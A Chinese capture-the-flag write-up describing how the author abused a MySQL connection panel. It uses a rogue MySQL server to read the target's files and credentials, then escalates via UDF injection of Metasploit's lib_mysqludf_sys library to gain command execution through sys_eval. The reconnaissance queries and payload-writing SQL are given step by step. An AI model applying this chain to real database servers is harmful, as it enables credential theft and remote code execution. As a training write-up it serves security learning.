拿到题目后打开发现是一个mysql连接面板,初步猜测是在自己的远程数据库里写木马再写到靶机上

用vps开一个数据库,给root后连接,发现确实可以执行sql指令

但是没法写东西到靶机里(into outfile),搜索后发现是要开一个secure_file_priv的参数

并且我发现了这篇博客

可以用load data local infile语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用搭建蜜罐的方式直接读文件,我后来选择使用后者

经过测试,蜜罐搭建后用面板连接,确实可以读取到文件

将query.php读出来就可以看到靶机运行的mysql的账号密码和库名,回到一开始的面板登录即可。登陆后,试了一圈也没发现flag文件,所以猜测是在环境变量。但是没找到读环境变量的方法,只能想办法rce

由于实在找不到什么除了sql外的rce手段,所以最后选择直接用udf提权

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll.so,常用c语言编写。

先确定secure_file_priv是空值

show variables like '%secure%';

之后确定一下mysql安装路径

show variables like '%basedir%';

通过主机版本及架构确认mysql位数来选用udf文件

show variables like '%compile%';

查看 plugin 目录

show variables like 'plugin%';

还要再看一下有没有满足高位权限

select * from mysql.user where user = substring_index(user(), '@', 1) ;

最后看一下plugin的值

select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。

上述条件满足且信息搜集完后,这里我选择用msf里自带的udf库文件,路径是/usr/share/metasploit-framework/data/exploits/mysql

这里因为刚刚我们看到靶机系统是64位linux,所以选用lib_mysqludf_sys_64.so

接着要获取库文件的16进制

这里我在kali本地开了一个mysql来输出十六进制文件

mysql> select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

之后打开我们的靶机面板,输入下列指令

# 7F454C46020打头的参数即/tmp/udf.txt的内容(注意去掉最后的换行)
select unhex('7F454C46020...') into dumpfile '/靶机的lib\plugin目录/mysqludf.so';

执行后显示这个表示成功

上传后创建sys_eval函数

create function sys_eval returns string soname "mysqludf.so";

然后用sys_eval函数就能rce了

select sys_eval('whoami');